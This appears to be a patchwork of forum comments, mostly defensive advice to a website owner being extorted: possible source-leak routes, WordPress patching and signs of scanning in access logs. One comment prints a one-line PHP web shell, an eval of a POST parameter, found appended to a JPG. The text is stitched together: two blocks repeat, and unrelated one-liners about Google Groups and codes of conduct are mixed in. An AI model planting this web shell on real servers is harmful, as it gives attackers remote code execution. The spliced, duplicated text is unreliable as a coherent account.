A white hat would have told you what the vulnerability is; you have an extortionist. Unfortunately there are any number of ways they could have gotten a look at your source.
A misconfigured httpd might be offering the files up for download instead of parsing them as PHP (even Facebook was hit by this some years ago and much of their source was leaked)
An arbitrary file inclusion bug might let someone abuse an "image serving" or "file downloader" script, making it display files it wasn't intended to
They could have a back door, perhaps entirely unrelated to PHP, giving them complete control over the entire site/server
Are you running WordPress? If so, ensure you have the latest version of WordPress as well as any plugins you're using. It's a huge vector for exploits. There's been a "Summer of Pwnage" project releasing new WordPress vulnerabilities almost daily for the last few months.
Check your httpd access logs. Start with the last 24 hours and look for
Weird query strings with unexpected parameters
Very long URLs
Large volumes of hits from single IPs
Requests for files that don't exist on your site
These are usually signs of automated scanning and can help narrow down the who/when/how.
How did they contact you? Is your email address located on a specific page of your website, like a "Contact Us" page? Or maybe they submitted a contact form? Look and see who accessed those pages today, then look for any other hits from those IP addresses to see what else they were poking around at.
Hopefully you can locate something suspicious and try to work backwards from there.
Fun thing about JPG files is that you can append a bit of garbage data (as far as the image decompression algorithm is concerned), and it will still render. At the very end of the hex data, there's this:
<?php @eval($_POST['cmd']);?>
So it displays the crappy JPG to the browser, but also executes whatever was posted in.
A white hat would have told you what the vulnerability is; you have an extortionist. Unfortunately there are any number of ways they could have gotten a look at your source.
A misconfigured httpd might be offering the files up for download instead of parsing them as PHP (even Facebook was hit by this some years ago and much of their source was leaked)
An arbitrary file inclusion bug might let someone abuse an "image serving" or "file downloader" script, making it display files it wasn't intended to
They could have a back door, perhaps entirely unrelated to PHP, giving them complete control over the entire site/server
Are you running WordPress? If so, ensure you have the latest version of WordPress as well as any plugins you're using. It's a huge vector for exploits. There's been a "Summer of Pwnage" project releasing new WordPress vulnerabilities almost daily for the last few months.
Check your httpd access logs. Start with the last 24 hours and look for
Weird query strings with unexpected parameters
Very long URLs
Large volumes of hits from single IPs
Requests for files that don't exist on your site
These are usually signs of automated scanning and can help narrow down the who/when/how.
How did they contact you? Is your email address located on a specific page of your website, like a "Contact Us" page? Or maybe they submitted a contact form? Look and see who accessed those pages today, then look for any other hits from those IP addresses to see what else they were poking around at.
Hopefully you can locate something suspicious and try to work backwards from there.
Proportionally improved by the corresponding reduction in percentage of the vulnerability pie.
Here it is on Google Groups (RIP dejanews).
I miss the good old days, when open source projects focused on software development and not "codes of conduct."
Fun thing about JPG files is that you can append a bit of garbage data (as far as the image decompression algorithm is concerned), and it will still render. At the very end of the hex data, there's this:
So it displays the crappy JPG to the browser, but also executes whatever was posted in.